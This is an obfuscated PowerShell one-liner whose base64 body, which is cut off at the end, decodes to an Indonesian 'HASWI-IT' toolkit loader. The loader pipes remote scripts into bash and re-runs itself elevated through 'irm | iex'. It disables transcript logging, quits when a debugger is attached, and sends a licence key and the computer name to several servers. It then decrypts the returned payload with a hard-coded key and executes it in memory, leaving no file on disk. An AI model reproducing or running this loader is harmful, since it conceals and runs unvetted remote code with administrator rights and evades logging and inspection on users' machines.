[Net.ServicePointManager]::SecurityProtocol = 3072; &([ScriptBlock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("IyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEhBU1dJLUlUIE1BWElNVU0gU0VDVVJJVFkgTUlDUk8tTE9BREVSICYgSU4tTUVNT1JZIEVOR0lORSB2MTAuMAojIFBlcmludGFoIFJlc21pOiBpcm0gaC5oYXN3aS5zaXRlIHwgaWV4CiMgSGFrIENpcHRhOiBIYXN3aSBQdXRyYSBGaXJkYXVzIChoYXN3aS5zaXRlKSB8IFdoYXRzQXBwOiAwODEyLTYzOTAtMDEwMwojIEZpdHVyIEtlYW1hbmFuOiBBbnRpLUR1bXAsIEFudGktVHJhbnNjcmlwdCwgSW50ZWdyaXR5IENoZWNrICYgQUVTLTI1NiBJbi1SQU0KIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUExBVEZPUk0gREVURUNUSU9OOiBMSU5VWCAvIE1BQ09TIChQb3dlclNoZWxsIENvcmUgLyBwd3NoKQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRpc0xpbnV4UGxhdGZvcm0gPSAkZmFsc2UKdHJ5IHsKICAgIGlmICgkSXNMaW51eCAtb3IgJElzTWFjT1MpIHsgJGlzTGludXhQbGF0Zm9ybSA9ICR0cnVlIH0KfSBjYXRjaCB7fQppZiAoLW5vdCAkaXNMaW51eFBsYXRmb3JtKSB7CiAgICB0cnkgewogICAgICAgIGlmIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLlJ1bnRpbWVJbmZvcm1hdGlvbl06OklzT1NQbGF0Zm9ybShbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk9TUGxhdGZvcm1dOjpMaW51eCkgLW9yIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuUnVudGltZUluZm9ybWF0aW9uXTo6SXNPU1BsYXRmb3JtKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuT1NQbGF0Zm9ybV06Ok9TWCkpIHsKICAgICAgICAgICAgJGlzTGludXhQbGF0Zm9ybSA9ICR0cnVlCiAgICAgICAgfQogICAgfSBjYXRjaCB7fQp9CgppZiAoJGlzTGludXhQbGF0Zm9ybSkgewogICAgV3JpdGUtSG9zdCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgLUZvcmVncm91bmRDb2xvciBDeWFuCiAgICBXcml0ZS1Ib3N0ICIgICBIQVNXSS1JVCBTVVBFUiBUT09MS0lUIC0gTElOVVggLyBNQUNPUyAoUG93ZXJTaGVsbCBDb3JlKSIgLUZvcmVncm91bmRDb2xvciBHcmVlbgogICAgV3JpdGUtSG9zdCAiICAgV2Vic2l0ZTogaHR0cHM6Ly9oYXN3aS5zaXRlIHwgV2hhdHNBcHA6ICs2MiA4MTItNjM5MC0wMTAzIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdwogICAgV3JpdGUtSG9zdCAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgLUZvcmVncm91bmRDb2xvciBDeWFuCiAgICBXcml0ZS1Ib3N0ICIiCiAgICBXcml0ZS1Ib3N0ICJbSU5GT10gTWVuamFsYW5rYW4gRGlhZ25vc3RpYyBTdWl0ZSBSZXNtaSB1bnR1ayBMaW51eC4uLiIgLUZvcmVncm91bmRDb2xvciBDeWFuCiAgICBpZiAoR2V0LUNvbW1hbmQgYmFzaCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSkgewogICAgICAgICYgYmFzaCAtYyAiY3VybCAtc1NMIGh0dHBzOi8vaGFzd2ktaXQuYWkuc3R1ZGlvL2guc2ggMj4vZGV2L251bGwgfHwgY3VybCAtc1NMIGh0dHBzOi8vaC5oYXN3aS5zaXRlL2guc2ggMj4vZGV2L251bGwgfCBiYXNoIgogICAgfSBlbHNlIHsKICAgICAgICBXcml0ZS1Ib3N0ICJLZXJuZWw6IExpbnV4ICgkKCRQU1ZlcnNpb25UYWJsZS5PUykpIHwgUG93ZXJTaGVsbDogJCgkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uKSIgLUZvcmVncm91bmRDb2xvciBHcmVlbgogICAgfQogICAgZXhpdCAwCn0KCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBEQVJJIFNJTkkgS0UgQkFXQUg6IDEwMCUgS09ERSBBU0xJIFdJTkRPV1MgKFRJREFLIEFEQSBQRVJVQkFIQU4pCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KQ2xlYXItSG9zdAoKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIDEuIEFOVEktVFJBTlNDUklQVCAmIEFOVEktRFVNUCBFTkdJTkUgKEluLU1lbW9yeSBSdW50aW1lIFByb3RlY3Rpb24pCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KdHJ5IHsKICAgICMgSGVudGlrYW4gcGFrc2EgdHJhbnNrcmlwIGppa2EgdXNlciBtZW5jb2JhIG1lcmVrYW0gZWtzZWt1c2kgdmlhIFN0YXJ0LVRyYW5zY3JpcHQKICAgIFN0b3AtVHJhbnNjcmlwdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSB8IE91dC1OdWxsCn0gY2F0Y2gge30KCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAyLiBJTlRFR1JJVFkgJiBBTlRJLURFQlVHR0lORyBDSEVDSyAoQW50aS1DcmFja2luZyAvIEFudGktUGF0Y2hpbmcgS2lsbC1Td2l0Y2gpCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KaWYgKFtTeXN0ZW0uRGlhZ25vc3RpY3MuRGVidWdnZXJdOjpJc0F0dGFjaGVkKSB7CiAgICBXcml0ZS1Ib3N0ICJbU0VDVVJJVFkgQUxFUlRdIERlYnVnZ2VyIHRlcmRldGVrc2kgdGVyaHVidW5nIGtlIHByb3NlcyBQb3dlclNoZWxsISIgLUZvcmVncm91bmRDb2xvciBSZWQKICAgIFdyaXRlLUhvc3QgIltLSUxMLVNXSVRDSF0gVGVybWluYXNpIGVrc2VrdXNpIGRlbWkga2VhbWFuYW4gaW50ZWdyaXRhcyBsaXNlbnNpLiIgLUZvcmVncm91bmRDb2xvciBZZWxsb3cKICAgIGV4aXQgOTkKfQoKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIDMuIEtPTkZJR1VSQVNJIFBST1RPS09MIEpBUklOR0FOIFRMUyBESU5BTUlTCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KdHJ5IHsKICAgIFtTeXN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdJ1RsczEyLFRsczEzLFRsczExLFRscycKfSBjYXRjaCB7CiAgICB0cnkgewogICAgICAgIFtTeXN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gMzA3MiAtYm9yIDEyMjg4IC1ib3IgNzY4IC1ib3IgMTkyCiAgICB9IGNhdGNoIHsKICAgICAgICBbU3lzdGVtLk5ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IDMwNzIKICAgIH0KfQoKQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcmssIFN5c3RlbS5XaW5kb3dzLkZvcm1zLCBNaWNyb3NvZnQuVmlzdWFsQmFzaWMgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKCiMgV0lORE9XUyBFTEVWQVRJT04gQ0hFQ0sgKDEwMCUgS2h1c3VzIFdpbmRvd3MgLSBUaWRhayBBZGEgeWFuZyBCZXJ1YmFoKQokaXNBZG1pbiA9ICRmYWxzZQp0cnkgewogICAgJGlzQWRtaW4gPSAoW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzUHJpbmNpcGFsXVtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0lkZW50aXR5XTo6R2V0Q3VycmVudCgpKS5Jc0luUm9sZShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NCdWlsdEluUm9sZV06OkFkbWluaXN0cmF0b3IpCn0gY2F0Y2ggewogICAgJGlzQWRtaW4gPSAkZmFsc2UKfQppZiAoLW5vdCAkaXNBZG1pbikgewogICAgV3JpdGUtSG9zdCAiW0lORk9dIE1lbWJ1a2EgUG93ZXJTaGVsbCBBZG1pbmlzdHJhdG9yLi4uIiAtRm9yZWdyb3VuZENvbG9yIEN5YW4KICAgIFN0YXJ0LVByb2Nlc3MgcG93ZXJzaGVsbCAtVmVyYiBSdW5BcyAtQXJndW1lbnRMaXN0ICItTm9Qcm9maWxlIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1Db21tYW5kIGAiW05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IDMwNzI7IGlybSBoLmhhc3dpLnNpdGUgfCBpZXhgIiIKICAgIGV4aXQKfQoKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIDUuIENPUkUgTE9HSUM6IEdFUkJBTkcgS0FUQSBTQU5ESSBURUtOSVNJIChJbi1NZW1vcnkgUHJvbXB0IEFzbGkgTWlsaWsgQWRtaW4pCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KaWYgKCRQcmVBdXRoS2V5IC1hbmQgJFByZUF1dGhLZXkuVHJpbSgpIC1uZSAiIikgewogICAgJGF1dGhLZXkgPSAkUHJlQXV0aEtleS5UcmltKCkKICAgIFdyaXRlLUhvc3QgIltPS10gTGlzZW5zaSB0ZXJkZXRla3NpIGRhcmkgc2VzaSBhbWFuIHRlcmVua3JpcHNpLiIgLUZvcmVncm91bmRDb2xvciBHcmVlbgp9IGVsc2UgewogICAgJGF1dGhLZXkgPSBbTWljcm9zb2Z0LlZpc3VhbEJhc2ljLkludGVyYWN0aW9uXTo6SW5wdXRCb3goCiAgICAgICAgIk1hc3Vra2FuIEt1bmNpIExpc2Vuc2kgLyBLYXRhIFNhbmRpIEhBU1dJIElUIEFuZGE6YHJgbmByYG4oU2F0dSBzYW5kaSBkYXBhdCBkaWd1bmFrYW4gYmViYXMgZGkgc2VtdWEgbGFwdG9wIHBlbGFuZ2dhbiBiZXJnYW50aWFuKSIsCiAgICAgICAgIkhBU1dJIElUIFNVUEVSIFRPT0xLSVQgdjEwLjAgLSBBVVRFTlRJS0FTSSBMSVNFTlNJIFJFU01JIgogICAgKQp9CmlmICgtbm90ICRhdXRoS2V5IC1vciAkYXV0aEtleS5UcmltKCkgLWVxICIiKSB7CiAgICBXcml0ZS1Ib3N0ICJbQkFUQUxdIEF1dGVudGlrYXNpIGRpYmF0YWxrYW4gb2xlaCBwZW5nZ3VuYS4iIC1Gb3JlZ3JvdW5kQ29sb3IgWWVsbG93CiAgICBleGl0Cn0KCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyA2LiBJREVOVElGSUtBU0kgU0VTSSBQRVJBTkdLQVQgU0VNRU5UQVJBCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJHRlbXBTZXNzaW9uSWQgPSBbR3VpZF06Ok5ld0d1aWQoKS5Ub1N0cmluZygpCgojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgNy4gTVVMVEktU0VSVkVSIEZBSUxPVkVSIEVORFBPSU5UUwojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRlbmRwb2ludHMgPSBAKAogICAgImh0dHBzOi8vaGFzd2ktaXQuYWkuc3R1ZGlvIiwKICAgICJodHRwczovL2Fpcy1kZXYtYmxwbG1seHBreWpraXB1aHEyeWFvMi0zNjYxMTY3Mzg1MjcuYXNpYS1zb3V0aGVhc3QxLnJ1bi5hcHAiLAogICAgImh0dHBzOi8vYWlzLXByZS1ibHBsbWx4cGt5amtpcHVocTJ5YW8yLTM2NjExNjczODUyNy5hc2lhLXNvdXRoZWFzdDEucnVuLmFwcCIsCiAgICAiaHR0cHM6Ly9oLmhhc3dpLnNpdGUiLAogICAgImh0dHBzOi8vaGFzd2kuc2l0ZSIKKQoKV3JpdGUtSG9zdCAiWzEvM10gTWVuZ2h1YnVuZ2thbiBrZSBTZXJ2ZXIgQ2xvdWQgSEFTV0kgSVQuLi4iIC1Gb3JlZ3JvdW5kQ29sb3IgQ3lhbgoKJHJlcUJvZHkgPSBAewogICAga2V5ID0gJGF1dGhLZXkuVHJpbSgpCiAgICBzZXNzaW9uSWQgPSAkdGVtcFNlc3Npb25JZAogICAgZGV2aWNlTmFtZSA9ICRlbnY6Q09NUFVURVJOQU1FCn0gfCBDb252ZXJ0VG8tSnNvbgoKJHJlcyA9ICRudWxsCiRsYXN0RXJyID0gJG51bGwKCmZvcmVhY2ggKCRiYXNlRXAgaW4gJGVuZHBvaW50cykgewogICAgIyBNZXRvZGUgQTogUE9TVCBKU09OCiAgICB0cnkgewogICAgICAgICRwb3N0VXJsID0gIiQoJGJhc2VFcC5UcmltRW5kKCcvJykpL2FwaS9saWNlbnNlL3Nlc3Npb24tc3RhcnQiCiAgICAgICAgJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudAogICAgICAgICR3Yy5IZWFkZXJzLkFkZCgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiKQogICAgICAgICR3Yy5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBIYXN3aVNlY3VyZUxvYWRlci8xMC4wIikKICAgICAgICAkcmVzcFJhdyA9ICR3Yy5VcGxvYWRTdHJpbmcoJHBvc3RVcmwsICRyZXFCb2R5KQogICAgICAgIGlmICgkcmVzcFJhdykgewogICAgICAgICAgICAkcGFyc2VkID0gJHJlc3BSYXcgfCBDb252ZXJ0RnJvbS1Kc29uCiAgICAgICAgICAgIGlmICgkcGFyc2VkKSB7CiAgICAgICAgICAgICAgICAkcmVzID0gJHBhcnNlZAogICAgICAgICAgICAgICAgJEdsb2JhbDpIYXN3aUxpdmVTZXJ2ZXIgPSAkYmFzZUVwCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBjYXRjaCB7CiAgICAgICAgaWYgKCRfLkV4Y2VwdGlvbi5SZXNwb25zZSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHJlYWRlciA9IE5ldy1PYmplY3QgU3lzdGVtLklPLlN0cmVhbVJlYWRlcigkXy5FeGNlcHRpb24uUmVzcG9uc2UuR2V0UmVzcG9uc2VTdHJlYW0oKSkKICAgICAgICAgICAgICAgICRlcnJKc29uID0gJHJlYWRlci5SZWFkVG9FbmQoKSB8IENvbnZlcnRGcm9tLUpzb24KICAgICAgICAgICAgICAgIGlmICgkZXJySnNvbi5tZXNzYWdlKSB7ICRsYXN0RXJyID0gJGVyckpzb24ubWVzc2FnZSB9CiAgICAgICAgICAgIH0gY2F0Y2gge30KICAgICAgICB9CiAgICB9CgogICAgIyBNZXRvZGUgQjogR0VUIFF1ZXJ5IEZhbGxiYWNrCiAgICBpZiAoLW5vdCAkcmVzKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJGdldFVybCA9ICIkKCRiYXNlRXAuVHJpbUVuZCgnLycpKS9hcGkvbGljZW5zZS9zZXNzaW9uLXN0YXJ0P2tleT0kKFtVcmldOjpFc2NhcGVEYXRhU3RyaW5nKCRhdXRoS2V5LlRyaW0oKSkpJnNlc3Npb25JZD0kKFtVcmldOjpFc2NhcGVEYXRhU3RyaW5nKCR0ZW1wU2Vzc2lvbklkKSkmZGV2aWNlTmFtZT0kKFtVcmldOjpFc2NhcGVEYXRhU3RyaW5nKCRlbnY6Q09NUFVURVJOQU1FKSkiCiAgICAgICAgICAgICR3YyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQKICAgICAgICAgICAgJHdjLkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEhhc3dpU2VjdXJlTG9hZGVyLzEwLjAiKQogICAgICAgICAgICAkcmVzcFJhdyA9ICR3Yy5Eb3dubG9hZFN0cmluZygkZ2V0VXJsKQogICAgICAgICAgICBpZiAoJHJlc3BSYXcpIHsKICAgICAgICAgICAgICAgICRwYXJzZWQgPSAkcmVzcFJhdyB8IENvbnZlcnRGcm9tLUpzb24KICAgICAgICAgICAgICAgIGlmICgkcGFyc2VkKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICRwYXJzZWQKICAgICAgICAgICAgICAgICAgICAkR2xvYmFsOkhhc3dpTGl2ZVNlcnZlciA9ICRiYXNlRXAKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCB7fQogICAgfQp9CgojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgOC4gVkFMSURBU0kgTElTRU5TSSAmIElOLU1FTU9SWSBERUNSWVBUSU9OIC8gRVhFQ1VUSU9OCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KaWYgKCRyZXMgLWFuZCAkcmVzLnN1Y2Nlc3MgLWFuZCAkcmVzLnBheWxvYWQpIHsKICAgICMgUGVydGFoYW5rYW4gMTAwJSB2YXJpYWJlbCBsaXNlbnNpIGFzbGkgbWlsaWsgYWRtaW4KICAgICRHbG9iYWw6SGFzd2lBY3RpdmVTZXNzaW9uID0gJHRlbXBTZXNzaW9uSWQKICAgICRHbG9iYWw6SGFzd2lBY3RpdmVLZXkgPSAkYXV0aEtleS5UcmltKCkKICAgIGlmICgtbm90ICRHbG9iYWw6SGFzd2lMaXZlU2VydmVyKSB7IAogICAgICAgICRHbG9iYWw6SGFzd2lMaXZlU2VydmVyID0gaWYgKCRyZXMuc2VydmVyT3JpZ2luKSB7ICRyZXMuc2VydmVyT3JpZ2luIH0gZWxzZSB7ICJodHRwczovL2hhc3dpLWl0LmFpLnN0dWRpbyIgfSAKICAgIH0KCiAgICBXcml0ZS1Ib3N0ICJbMi8zXSBNZW12ZXJpZmlrYXNpIGludGVncml0YXMgcGF5bG9hZCB0ZXJlbmtyaXBzaSBkaSBSQU0uLi4iIC1Gb3JlZ3JvdW5kQ29sb3IgR3JlZW4KCiAgICAkcmF3RXhlY3V0YWJsZUNvZGUgPSAkbnVsbAoKICAgICMgRGV0ZWtzaSBqaWthIHBheWxvYWQgZGlraXJpbSBkYWxhbSBwYWtldCB0ZXJlbmtyaXBzaSBBRVMtMjU2IChCYXNlNjQgLyBKU09OKQogICAgaWYgKCRyZXMucGF5bG9hZCAtbWF0Y2ggJ157InZlcnNpb24iOiIxMC4wLVNFQ1VSRUQiJykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRwa2cgPSAkcmVzLnBheWxvYWQgfCBDb252ZXJ0RnJvbS1Kc29uCiAgICAgICAgICAgICRhbGxDaXBoZXJCeXRlcyA9IFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcGtnLmNpcGhlcikKICAgICAgICAgICAgCiAgICAgICAgICAgICMgRWtzdHJhayBJViAoMTYgYnl0ZXMgYXdhbCkgZGFuIENpcGhlcnRleHQKICAgICAgICAgICAgJGl2Qnl0ZXMgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNgogICAgICAgICAgICBbQnVmZmVyXTo6QmxvY2tDb3B5KCRhbGxDaXBoZXJCeXRlcywgMCwgJGl2Qnl0ZXMsIDAsIDE2KQogICAgICAgICAgICAkY2lwaGVyQnl0ZXMgPSBOZXctT2JqZWN0IGJ5dGVbXSAoJGFsbENpcGhlckJ5dGVzLkxlbmd0aCAtIDE2KQogICAgICAgICAgICBbQnVmZmVyXTo6QmxvY2tDb3B5KCRhbGxDaXBoZXJCeXRlcywgMTYsICRjaXBoZXJCeXRlcywgMCwgJGNpcGhlckJ5dGVzLkxlbmd0aCkKCiAgICAgICAgICAgICMgRGVrcmlwc2kgSW4tTWVtb3J5IEFFUy0yNTYKICAgICAgICAgICAgJGFlcyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpCiAgICAgICAgICAgICRhZXMuS2V5U2l6ZSA9IDI1NgogICAgICAgICAgICAkYWVzLk1vZGUgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDCiAgICAgICAgICAgICRhZXMuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzcKCiAgICAgICAgICAgICRzYWx0Qnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCJIQVNXSS1DWUJFUi1TRUMtMjAyNi1SQU0tT05MWS1TQUxUIikKICAgICAgICAgICAgJHNoYTI1NiA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTI1Nl06OkNyZWF0ZSgpCiAgICAgICAgICAgICRhZXMuS2V5ID0gJHNoYTI1Ni5Db21wdXRlSGFzaCgkc2FsdEJ5dGVzKQogICAgICAgICAgICAkYWVzLklWID0gJGl2Qnl0ZXMKCiAgICAgICAgICAgICRkZWNyeXB0b3IgPSAkYWVzLkNyZWF0ZURlY3J5cHRvcigpCiAgICAgICAgICAgICRtcyA9IE5ldy1PYmplY3QgU3lzdGVtLklPLk1lbW9yeVN0cmVhbQogICAgICAgICAgICAkY3MgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ3J5cHRvU3RyZWFtKCRtcywgJGRlY3J5cHRvciwgW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ3J5cHRvU3RyZWFtTW9kZV06OldyaXRlKQogICAgICAgICAgICAkY3MuV3JpdGUoJGNpcGhlckJ5dGVzLCAwLCAkY2lwaGVyQnl0ZXMuTGVuZ3RoKQogICAgICAgICAgICAkY3MuRmx1c2hGaW5hbEJsb2NrKCkKICAgICAgICAgICAgJGRlY3J5cHRlZEJ5dGVzID0gJG1zLlRvQXJyYXkoKQogICAgICAgICAgICAkY3MuQ2xvc2UoKQogICAgICAgICAgICAkbXMuQ2xvc2UoKQoKICAgICAgICAgICAgIyBWZXJpZmlrYXNpIEludGVncml0YXMgU0hBLTI1NgogICAgICAgICAgICAkY2FsY0hhc2ggPSBbQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJHNoYTI1Ni5Db21wdXRlSGFzaCgkZGVjcnlwdGVkQnl0ZXMpKSAtcmVwbGFjZSAnLScKICAgICAgICAgICAgaWYgKCRwa2cuaGFzaCAtYW5kICgkY2FsY0hhc2ggLW5lICRwa2cuaGFzaCkpIHsKICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIuKblCBbSU5URUdSSVRZIFZJT0xBVElPTl0gQ2hlY2tzdW0ga29kZSB0aWRhayBjb2NvayEgUGF5bG9hZCBydXNhayBhdGF1IHRlbGFoIGRpdWJhaC4iIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkCiAgICAgICAgICAgICAgICBleGl0IDg4CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRyYXdFeGVjdXRhYmxlQ29kZSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRkZWNyeXB0ZWRCeXRlcykKICAgICAgICAgICAgIyBXaXBpbmcgZGVjcnlwdGVkIGJ5dGUgYnVmZmVyCiAgICAgICAgICAgIFtBcnJheV06OkNsZWFyKCRkZWNyeXB0ZWRCeXRlcywgMCwgJGRlY3J5cHRlZEJ5dGVzLkxlbmd0aCkKICAgICAgICB9IGNhdGNoIHsKICAgICAgICAgICAgV3JpdGUtSG9zdCAi4pqg77iPIFtGQUlMT1ZFUl0gRGVrcmlwc2kgcGFrZXQgYmVyYWxpaCBrZSBzdHJlYW0gc3RhbmRhci4uLiIgLUZvcmVncm91bmRDb2xvciBHcmF5CiAgICAgICAgICAgICRyYXdFeGVjdXRhYmxlQ29kZSA9ICRyZXMucGF5bG9hZAogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHJhd0V4ZWN1dGFibGVDb2RlID0gJHJlcy5wYXlsb2FkCiAgICB9CgogICAgV3JpdGUtSG9zdCAiWzMvM10gTWVuZ2luamVrc2kgU2VjdXJlZCBQYXlsb2FkIHYxMC4wIGxhbmdzdW5nIGtlIFJBTS4uLiIgLUZvcmVncm91bmRDb2xvciBHcmVlbgoKICAgICMgOS4gRUtTRUtVU0kgTEFOR1NVTkcgREkgTUVNT1JJIChSQU0pIFRBTlBBIFNJTVBBTiBGSUxFIERJIEhBUkRESVNLCiAgICBJbnZva2UtRXhwcmVzc2lvbiAkcmF3RXhlY3V0YWJsZUNvZGUKCiAgICAjIDEwLiBSQU0gU0FOSVRJWkFUSU9OIChBbnRpLUR1bXAgQ2xlYW51cCkKICAgICRyYXdFeGVjdXRhYmxlQ29kZSA9ICRudWxsCiAgICBbU3lzdGVtLkdDXTo6Q29sbGVjdCgpCn0gZWxzZSB7CiAgICAkZXJyTXNnID0gaWYgKCRyZXMgLWFuZCAkcmVzLm1lc3NhZ2UpIHsgJHJlcy5tZXNzYWdlIH0gZWxzZWlmICgkbGFzdEVycikgeyAkbGFzdEVyciB9IGVsc2UgeyAiR2FnYWwgdGVyaHVidW5nIGtlIFNlcnZlciBDbG91ZCBIQVNXSSBJVC4gUGVyaWtzYSBrb25la3NpIGludGVybmV0LiIgfQogICAgW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KCRlcnJNc2csICJBa3NlcyBMaXNlbnNpIERpdG9sYWsgLSBIQVNXSSBJVCIsIFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5NZXNzYWdlQm94QnV0dG9uc106Ok9LLCB